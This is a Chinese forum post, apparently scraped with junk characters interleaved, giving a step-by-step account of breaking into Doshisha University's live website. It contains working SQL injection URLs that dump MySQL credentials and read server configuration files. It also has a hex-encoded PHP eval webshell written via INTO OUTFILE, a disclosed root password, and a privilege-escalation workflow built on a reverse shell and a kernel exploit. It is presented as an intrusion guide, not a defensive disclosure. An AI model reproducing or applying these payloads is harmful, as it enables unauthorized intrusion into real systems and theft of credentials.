入侵日本同志社大学技术分析
7 Q; O' S+ Z1 r, X, n- O9 |' a& g. M9 ]+ u/ j0 S
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
. B1 m8 P+ Z1 c3 x) T9 v6 B* t6 Q1 O% J然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:# m. e% r+ ^" K0 q& u h
( w" r8 {! ]/ s+ m6 ^* v) I( a) H1 b( j7 hhttp://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user2 x- ?1 G0 d# H3 M+ ]
& X" s6 K) S2 p! m
1 _$ ~: h1 U0 @6 v* T2 g
6 R, j0 z* ~4 a: ~: v7 I$ K
//@@datadir为数据库文件路径 . n+ }( I* O; t8 S, R0 p
7 d: D1 [$ v! H) p9 @/ `
% q. y+ C, R1 \0 Y4 D//load_file读取网站容器apache的配置文件
% _8 u: O$ X6 a" {- g: G" N & N, P3 Y0 ^' e2 W
$ k |5 e: X) `6 Z
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
: J8 Q( n7 N3 a$ ^3 b复制代码
7 B7 ^3 e$ i2 J" y7 {8 [! f+ {3 b: O5 D7 G R- C
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
u% u, s+ b; L/ t
2 U/ q6 ^/ Y$ [而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
6 n4 b5 X4 U8 _(大家对以上各种查和语句不太懂的可以参考以下文章:http://bbs.blackbap.org/thread-2243-1-1.html): W3 X) ^- ^- D
' }, j+ }7 g5 p5 @ F前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
2 ?( P4 p' M3 ~% l9 N( g4 e8 s如果知道怎么猜apache配置文件的路径的请参考以下文章:http://bbs.blackbap.org/thread-2242-1-1.html
! a! |0 X' L c# M8 ~
* h4 ~- F/ O) [7 U8 Q* g9 S: o5 x) S既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/' E( j7 y9 E# q& g0 y+ u
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
5 a# M9 \6 }7 B& n直接写一句话:5 t, Z6 N# S! o
$ M* P- C2 T, Q, ?http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+ 0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#3 a) ]2 u* ^. X! Z! P
8 o9 M, ?- c9 U3 ~1 L) r ( }: Q: V" u5 p
- b" z7 U; |" m; B* C! W//最后的#是为了闭合前面的语句 " H5 O) f1 V' x) d& B( w
5 D4 g0 {2 o0 Q- N8 i; c2 g5 s1 A- I' G) w/ p5 c
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
6 E0 V/ ~: D+ P( B3 J , X, Z& y1 U( }6 B
0 Q# `: K9 S+ v9 |2 `! W
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/ j9 c8 i" a8 } O. p
( b6 T+ {0 ?& Y4 J
$ p% {" O2 b7 X$ q9 \7 s2 _
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句 8 I3 r' V& [( J) K7 J0 d8 \
! I, [# T/ o9 Y" Q9 G, V
+ h7 x2 y/ C3 o; u/ O- r, ]- c: n//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
1 k" L5 ?" s5 s//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
n7 D* u5 N; m" u, R+ s8 h: W复制代码
; U) m1 B' I f
; r4 v1 J+ N/ \( CHEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
; ` S8 ^8 z8 k' R j* P# }/ c通过上述注入语句,我们就得到了一句话木马:
7 S8 {) [# W& f& B) A3 k$ D* [! ^, E3 a) z
3 \, J# W! m" N* z8 D; d1 I8 L; K
x! q2 J+ N) @+ l
& ?9 E/ u! X( S) Y/ l+ u- j* j* w. L) j5 I" @6 A
http://www.doshisha.ac.jp/english/engnews_img/aa.php . ^ K5 ~/ R/ \6 D& D8 }, s
复制代码( I7 U8 x. Q' R: G. o
8 M3 Q/ u1 V2 \) g
用菜刀连接,密码是cmd,如图所示:
2 }0 e9 I* z+ {# }然后在命令提示行里看了一下,现在的权限是:, u9 _% \: h# A4 b( O$ s
* [/ K v( L1 Y
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
% B% u* h6 w. N, a" n好在赋权给这个文件夹不需要root,直接执行赋权语句:
, Q& C* ?% }# `5 ^! U& o; A
: f, K3 U7 |# U5 }
. w9 i3 B! ]: G# u5 {! o: D( r' u) ?8 ]( g
+ ^; B+ q7 G, N7 Z% p/ K8 P
0 O) h3 r/ t8 ychmod +x /tmp/
/ @& o( @% G$ G9 A$ U复制代码# s0 e( i, i0 T. w9 }
" y0 f, K0 M. [( K
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行/ A0 E, T: c g9 L' F" c
然后就查了一下内核版本:0 O, _4 K& y; Y# s0 S5 M3 C7 x9 a
0 U- `0 b6 r# G0 M! p8 c: R) r
9 I; V) ^$ [# J& P4 z9 K. r6 b* K/ o+ t8 H- O! F. `8 B! b$ `3 A2 o
* n4 l& r0 |) J0 S! L
& d" D, w0 d4 `9 { C' `, _uname-a - E0 E& ]4 d5 y: a+ L: R
5 ~" \6 v i4 s
; j9 R% ]7 z( s* w, \//其实lsb_release -a
1 T4 j6 D" r Q* L7 a4 h5 R+ b复制代码
1 l- V6 {+ g& W2 H: O4 n7 q1 S! ]% k* D- x6 e8 Q
如图所示:
, H- U$ a* `+ I" \
+ a8 a r- {+ W0 B内核版本:linux mainz1 2.6.28-194.e15
9 f6 ?0 p# l2 T系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)4 c4 q7 q- Q. K- q8 l0 b
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹( l6 M8 a2 P1 T" X! D7 E, ^
* ], F7 M9 m8 \" V/ ?8 V0 ^: _然后给予执行权限
+ O' F5 i. p. e1 A2 n( q一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样& P9 G+ m8 N1 k% K5 J9 B
0 }; \; @# B, K; t* u
8 c& H. ?, I s4 G! ]1 r
3 i( ]' j5 D- H. f8 u , {# T* N$ S4 x; ]; q% L
/ `% i$ p6 k( ^+ q9 z# W
chmod +x /tmp/2.6.18-194 # B8 c2 d- H! R5 l) Q z: S' n
复制代码 然后直接执行!~9 o4 |, i2 F- X
8 U% \" p$ o! D1 t+ h( v8 Z! h总结:. O4 T! b0 E E, I! H# d% a
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 D: {; g' |3 n V; |提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
; e* _! A/ d/ l5 z/ g& T: O. \6 W* g: w6 k" G4 E$ s
|